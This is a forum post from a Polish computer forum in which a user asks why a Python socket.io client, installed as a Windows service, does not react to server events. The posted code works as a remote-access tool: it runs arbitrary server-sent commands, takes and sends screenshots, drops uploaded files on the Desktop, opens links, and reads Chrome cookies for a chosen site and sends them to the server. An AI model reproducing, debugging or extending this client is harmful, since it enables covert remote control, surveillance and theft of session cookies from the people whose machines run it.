Skocz do zawartości
Pecetowicz Forum komputerowe

Sockets IO Client - windows service


Rekomendowane odpowiedzi

Witam, mam stworzony serwer sockets io we flasku i teraz chcialem stworzyc klienta jako windowsowy serwis. I wykombinowalem cos takiego

import platform
import subprocess
import webbrowser
import uuid
import io
import base64
import os
import time
import browser_cookie3
import json
import asyncio

import servicemanager
import socket
import sys
import win32event
import win32service
import win32serviceutil


from socketio import Client, ClientNamespace, AsyncClient
from socketio.exceptions import ConnectionRefusedError, ConnectionError
from PIL import ImageGrab
from werkzeug.utils import secure_filename

class ClientNamespace(ClientNamespace):
    def on_connect(self):
        print("Connected")

    def on_disconnect(self):
        print("Disconnected")

    def on_open_website(self, data):
        chrome_path = 'C:/Program Files (x86)/Google/Chrome/Application/chrome.exe %s'
        webbrowser.get(chrome_path).open(data['link'])

    def on_command(self, data):
        cmd = data['command']
        result = subprocess.run([cmd], stdout=subprocess.PIPE)
        print(result.stdout.decode('utf-8'))

    def on_take_screenshoot(self):
        im = ImageGrab.grab()
        file_name = f'{uuid.uuid4()}.png'
        im.save(file_name)

        with open(file_name, 'rb') as bites:
            encoded = base64.b64encode(bites.read())
            image_encode = encoded.decode('ascii')
            self.emit('get_screenshoot', {'image': image_encode, 'file_name': file_name}, namespace='/clients')
        os.remove(file_name)

    def on_upload_file(self, data):
        decoded_file = base64.b64decode(data['file'])
        bytesio_object = io.BytesIO(decoded_file)
        data['file_name'] = secure_filename(data['file_name'])
        with open(os.path.join(os.environ['HOMEPATH'], f"Desktop\{data['file_name']}"), 'wb') as f:
            f.write(bytesio_object.getbuffer())

    def on_upload_cookie(self, data):
        host = data['host']
        cookies = browser_cookie3.chrome(domain_name=host)
        cc = {}
        for c in cookies:
            cc.update({c.name: c.value})
        self.emit('get_cookie', {'cookies': cc}, namespace='/clients')

class ClientService(win32serviceutil.ServiceFramework):
    sio = None
    _svc_name_ = "TarkaClientService"
    _svc_display_name_ = "Tarka Client Service"
    _svc_description_ = "My service description"

    def __init__(self, args):
        win32serviceutil.ServiceFramework.__init__(self, args)
        self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
        self.sio = Client()
        self.sio.register_namespace(ClientNamespace('/clients'))

    def SvcStop(self):
        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
        win32event.SetEvent(self.hWaitStop)
    

    def SvcDoRun(self):
        self.sio.connect('http://localhost:5000/', namespaces='/clients')

        rc = None  
        # if the stop event hasn't been fired keep looping  
        while rc != win32event.WAIT_OBJECT_0:  
            # block for 5 seconds and listen for a stop event  
            rc = win32event.WaitForSingleObject(self.hWaitStop, 5000)

        self.sio.disconnect()
        

if __name__ == '__main__':
    #main()
    if len(sys.argv) == 1:
        servicemanager.Initialize()
        servicemanager.PrepareToHostSingle(ClientService)
        servicemanager.StartServiceCtrlDispatcher()
    else:
        win32serviceutil.HandleCommandLine(ClientService)

I teraz jest taki problem, ponieważ lączyć sie z serwerem lączy lecz nie reaguje jak przesylam klientowi jakis event (Jedynie jak debuguje ten program to dziala ;c). Film który pokazuje o co mi chodzi 2020-09-08 17-01-31

Odnośnik do odpowiedzi
Udostępnij na innych stronach

Problem wciąż nierozwiązany? Dodaj swoją odpowiedź

Jeśli chcesz dodać odpowiedź, zaloguj się lub zarejestruj nowe konto. Jedynie zarejestrowani użytkownicy mogą komentować zawartość tej strony.

Zarejestruj nowe konto

Załóż nowe konto. To bardzo proste!

Zarejestruj się

Zaloguj się

Posiadasz już konto? Zaloguj się poniżej.

Zaloguj się
×
×
  • Dodaj nową pozycję...